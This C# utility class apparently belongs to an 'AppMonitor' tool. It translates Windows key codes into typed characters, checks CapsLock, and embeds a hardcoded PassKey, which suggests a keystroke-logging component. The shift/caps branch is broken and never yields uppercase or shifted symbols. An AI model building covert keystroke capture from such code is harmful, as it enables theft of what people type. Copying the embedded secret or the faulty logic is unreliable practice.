﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace AppMonitor.Bex
{
    public class KeysUtil
    {
        public static string PassKey = "Ikd#%_hGb2._d2fj4asiu&uyg78D78dP";

        public static Dictionary<string, string> KEY_DICT = new Dictionary<string, string>()
        {
            {"k192", "`"}, {"K192", "~"},
            {"k49", "1"}, {"K49", "!"},
            {"k50", "2"}, {"K50", "@"},
            {"k51", "3"}, {"K51", "#"},
            {"k52", "4"}, {"K52", "$"},
            {"k53", "5"}, {"K53", "%"},
            {"k54", "6"}, {"K54", "^"},
            {"k55", "7"}, {"K55", "&"},
            {"k56", "8"}, {"K56", "*"},
            {"k57", "9"}, {"K57", "("},
            {"k48", "0"}, {"K48", ")"},            
            {"k189", "-"}, {"K189", "_"},
            {"k187", "="}, {"K187", "+"},
            {"k220", "\\"}, {"K220", "|"},
            {"k81", "q"}, {"K81", "Q"},
            {"k87", "w"}, {"K87", "W"},
            {"k69", "e"}, {"K69", "E"},
            {"k82", "r"}, {"K82", "R"},
            {"k84", "t"}, {"K84", "T"},
            {"k89", "y"}, {"K89", "Y"},
            {"k85", "u"}, {"K85", "U"},
            {"k73", "i"}, {"K73", "I"},
            {"k79", "o"}, {"K79", "O"},
            {"k80", "p"}, {"K80", "P"},
            {"k219", "["}, {"K219", "{"},
            {"k221", "]"}, {"K221", "}"},
            {"k65", "a"}, {"K65", "A"},
            {"k83", "s"}, {"K83", "S"},
            {"k68", "d"}, {"K68", "D"},
            {"k70", "f"}, {"K70", "F"},
            {"k71", "g"}, {"K71", "G"},
            {"k72", "h"}, {"K72", "H"},
            {"k74", "j"}, {"K74", "J"},
            {"k75", "k"}, {"K75", "K"},
            {"k76", "l"}, {"K76", "L"},
            {"k186", ";"}, {"K186", ":"},
            {"k222", "'"}, {"K222", "\""},
            {"k90", "z"}, {"K90", "Z"},
            {"k88", "x"}, {"K88", "X"},
            {"k67", "c"}, {"K67", "C"},
            {"k86", "v"}, {"K86", "V"},
            {"k66", "b"}, {"K66", "B"},
            {"k78", "n"}, {"K78", "N"},
            {"k77", "m"}, {"K77", "M"},
            {"k188", ","}, {"K188", "<"},
            {"k190", "."}, {"K190", ">"},
            {"k191", "/"}, {"K191", "?"},
            {"k32", ""}, {"K32", ""},
            {"k111", "/"}, {"K111", "/"},
            {"k106", "*"}, {"K106", "*"},
            {"k109", "-"}, {"K109", "-"},
            {"k103", "7"}, {"K103", ""},
            {"k104", "8"}, {"K104", ""},
            {"k105", "9"}, {"K105", ""},
            {"k100", "4"}, {"K100", ""},
            {"k101", "5"}, {"K101", ""},
            {"k102", "6"}, {"K102", ""},
            {"k107", "+"}, {"K107", "+"},
            {"k97", "1"}, {"K97", ""},
            {"k98", "2"}, {"K98", ""},
            {"k99", "3"}, {"K99", ""},
            {"k96", "0"}, {"K96", ""},
            {"k110", "."}, {"K110", ""}
        };        

        public static String getKeyChar(int keyValue, bool shift = false)
        {
            string chars = "";
            string c = "k" + keyValue;
            bool caps = Win32.CapsLockStatus;
            if(caps || shift){
                c = "k" + keyValue;
            }
            if (KEY_DICT.ContainsKey(c))
            {
                chars = KEY_DICT[c];
            }
            return chars;
        }
        

    }
}
